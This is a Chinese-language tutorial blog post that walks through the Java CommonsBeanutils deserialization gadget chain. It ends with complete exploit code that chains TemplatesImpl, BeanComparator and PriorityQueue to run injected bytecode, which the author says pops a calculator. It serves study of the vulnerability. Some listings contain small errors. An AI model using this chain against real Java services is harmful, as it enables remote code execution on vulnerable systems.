java反序列化java反序列化之CommonsBeanutils
Sherlock引用
Java反序列化之CommonsBeanutils
依赖导入
首先我们先导入依赖
1 2 3 4 5
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.3</version> </dependency>
|
Bean
Java Bean是一种特定规范的类,使得开发中更加模块化,一个bean需要包括几种特点:
- 实现Serializable接口,使得类可序列化
- 无参构造函数,JavaBean应有一个公共的无参构造函数以便使用的时候快速实例化
- 私有属性,bean的属性一般被声明为private
- 公有getter和setter用于修改和读取私有属性
注意:getter和setter方法命名要规范
举个简单的例子:
1 2 3 4 5 6 7 8 9
| publc class User() implements Serializable{ private String name; private int age; public User(){} public void setName(String name){this.name = name;} public void setAge(int age){this.age = age;} public String getName(){return this.name;} public int getAge(){return this.age;} }
|
PropertyUtils.getProperty()
1 2 3 4 5 6 7
| public static Object getProperty(final Object bean, final String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
|
该方法传入两个参数,一个是实例化后的bean对象,另一个是字符串类型的属性名
我们继续跟进到PropertyUtilsBean中的getProperty方法,该方法首先检测bean对象中是否存在某个属性(property),存在的话调用其getter(),因此假如说某个getter中存在可利用点,调用该方法的时候即有利用的可能
下面演示一下
获取简单属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import org.apache.commons.beanutils.BeanUtils;
public class SimplePropertyExample { public static void main(String[] args) { User user = new User(); user.setUsername("johndoe");
try { String username = BeanUtils.getProperty(user, "username"); System.out.println("Username: " + username); } catch (Exception e) { e.printStackTrace(); } } }
|
User类定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
public class User { private String username;
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; } }
|
获取嵌套属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import org.apache.commons.beanutils.BeanUtils;
public class NestedPropertyExample { public static void main(String[] args) { Address address = new Address(); address.setCity("New York"); User user = new User(); user.setAddress(address);
try { String city = BeanUtils.getProperty(user, "address.city"); System.out.println("City: " + city); } catch (Exception e) { e.printStackTrace(); } } }
|
User类定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
public class User { private Address address;
public Address getAddress() { return address; }
public void setAddress(Address address) { this.address = address; } }
|
Address类定义如下
1 2 3 4 5 6 7 8 9 10 11 12 13
| package org.example;
public class Address { private String city;
public String getCity() { return city; }
public void setCity(String city) { this.city = city; } }
|
处理集合属性
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| package org.example;
import org.apache.commons.beanutils.BeanUtils;
import java.util.ArrayList; import java.util.List;
import org.apache.commons.beanutils.PropertyUtils;
public class Cb { public static void main(String[] args) throws Exception { Group group = new Group(); List<String> members = new ArrayList<>(); members.add("Alice"); members.add("Bob"); group.setMembers(members);
try { List<String> groupMembers = (List<String>) PropertyUtils.getProperty(group, "members"); System.out.println("Group Members: " + groupMembers); } catch (Exception e) { e.printStackTrace(); } } }
|
Group类代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package org.example;
import java.util.List;
public class Group { private List<String> members;
public List<String> getMembers() { return members; }
public void setMembers(List<String> members) { this.members = members; } }
|
TemplatesImpl.getOutputProperties()
上面介绍过getProperty()方法能够调用一个getter,在TemplatesImpl中,有一个getter就是getOutputProperties(),通过getProperty()如果bean是一个TemplatesImpl对象,name的值为”outputProperties”,即可调用TemplatesImpl对象的getOutputProperties()方法。CC链的分析中,newTransformer()方法能够调用TransformersImpl的构造方法,在TransformersImpl的构造方法中调用了getTransletInstance()方法,进而走到defineClass()->newInstance()的攻击链
1 2 3 4 5 6 7 8
| public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
BeanComparator.compare()
在BeanComparator的compare()方法中,存在对getProperty()方法的调用,并且参数可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public int compare( final T o1, final T o2 ) {
if ( property == null ) { return internalCompare( o1, o2 ); }
try { final Object value1 = PropertyUtils.getProperty( o1, property ); final Object value2 = PropertyUtils.getProperty( o2, property ); return internalCompare( value1, value2 ); } ...... }
|
在前面的CC链的分析中,能发现有一处走到compare()方法的调用,即利用优先队列的,因此CB的利用已经初具雏形了
gadget链构造
我们先尝试正向构造链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class Cb { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
BeanComparator<Object> beanComparator = new BeanComparator<>(); beanComparator.setProperty("outputProperties"); beanComparator.compare(templates,null); } }
|
运行后会成功弹出计算器
上述代码怎么运行的建议自己调试跟着走一遍理解会更深刻
然后我们补上优先队列构成完整的利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class Cb { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "aaa"); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
BeanComparator<Object> beanComparator = new BeanComparator<>(); beanComparator.setProperty("outputProperties");
PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator); Class c1 = priorityQueue.getClass(); Field queueField = c1.getDeclaredField("queue"); queueField.setAccessible(true); queueField.set(priorityQueue,new Object[]{templates,templates,templates}); Field sizeField = c1.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue,3);
unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|